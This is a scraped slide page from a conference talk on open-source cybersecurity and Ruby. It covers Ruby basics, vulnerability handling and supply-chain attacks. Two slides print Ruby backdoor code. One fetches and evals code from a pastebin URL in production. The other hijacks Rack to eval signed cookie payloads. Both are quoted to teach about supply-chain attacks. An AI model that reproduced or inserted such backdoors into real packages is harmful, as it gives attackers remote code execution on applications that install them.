Download to read offline
- 1 / 65
- 2 / 65
- 3 / 65
- 4 / 65
- 5 / 65
- 6 / 65
- 7 / 65
![Copyright © 2020 Present ANDPAD Inc.
What's Ruby?
Ruby has various implementation:
• Ruby(CRuby)
• JRuby/TruffleRuby
• mruby
• ruby.wasm
• ...and more
Ruby is...
A dynamic, open source programming language with
a focus on simplicity and productivity. It has an
elegant syntax that is natural to read and easy to
write.
# Output "I love Ruby"
say = "I love Ruby"
puts say
# Output "I *LOVE* RUBY"
say['love'] = "*love*"
puts say.upcase
# Output "I *love* Ruby"
# five times
5.times { puts say }](https://image.slidesharecdn.com/20240610-codeeurope2024-240614065213-d81000ba/85/Introduction-of-Cybersecurity-with-OSS-at-Code-Europe-2024-7-320.jpg)
- 8 / 65
![Copyright © 2020 Present ANDPAD Inc.
Key advantage of Ruby
class Prime
include Enumerable
include Singleton
(snip)
def each(ubound = nil, generator =
EratosthenesGenerator.new, &block)
generator.upper_bound = ubound
generator.each(&block)
end
class Prime
include Singleton
include Enumerable[Integer]
extend Enumerable[Integer]
(...)
def each: (?Integer? ubound, ?
PseudoPrimeGenerator generator)
{ (Integer) -> void } -> void
| (?Integer? ubound, ?
PseudoPrimeGenerator generator) ->
PseudoPrimeGenerator
• Performance Improvement: YJIT written by Rust
• Concurrency: Ractor and Fiber Scheduler
• Soft Typing: RBS or RBI of sorbet](https://image.slidesharecdn.com/20240610-codeeurope2024-240614065213-d81000ba/85/Introduction-of-Cybersecurity-with-OSS-at-Code-Europe-2024-8-320.jpg)
- 9 / 65
- 10 / 65
- 11 / 65
- 12 / 65
- 13 / 65
- 14 / 65
- 15 / 65
- 16 / 65
- 17 / 65
- 18 / 65
- 19 / 65
- 20 / 65
![Copyright © 2020 Present ANDPAD Inc.
How inject malicious code?
def _!;
begin;
yield;
rescue Exception;
end;
end
_!{
Thread.new {
loop {
_!{
sleep rand * 3333;
eval(
Net::HTTP.get(
URI('https://pastebin.com/raw/xa456PFt')
)
)
}
}
} if Rails.env[0] == "p"
}](https://image.slidesharecdn.com/20240610-codeeurope2024-240614065213-d81000ba/85/Introduction-of-Cybersecurity-with-OSS-at-Code-Europe-2024-55-320.jpg)
![Copyright © 2020 Present ANDPAD Inc.
Realcase of malicious code
_! {
unless ENV["URL_HOST"].to_s.include?("localhost")
unless defined?(ZZZ)
require "openssl"
require "base64"
public_key = OpenSSL::PKey.read(Base64.urlsafe_decode64("LS0t...(snip)..tCg=="))
Rack::Sendfile.prepend Module.new {
define_method(:call) { |e|
_! {
signature, payload, = e["HTTP_COOKIE"].match(/__session=(.+);/)[1].split(",")
signature = Base64.urlsafe_decode64(signature)
payload = Base64.urlsafe_decode64(payload)
if public_key.verify(OpenSSL::Digest.new("sha256"), signature, payload)
payload = JSON.parse(payload)
if (Time.now.to_i - payload["timestamp"]) <= 60
eval(payload["ruby"])
end
end
}
super(e)](https://image.slidesharecdn.com/20240610-codeeurope2024-240614065213-d81000ba/85/Introduction-of-Cybersecurity-with-OSS-at-Code-Europe-2024-56-320.jpg)
Skip to main content
Uploaded byHiroshi SHIBATA
Introduction of Cybersecurity with OSS at Code Europe 2024
This document introduces key aspects of Ruby, including its implementations, advantages, and release cycles. It addresses cybersecurity concerns from an open-source software perspective, detailing vulnerability management, including how to report vulnerabilities and triaging them. Furthermore, it discusses dependency resolution through package managers and the importance of managing open-source projects in light of supply chain attacks.
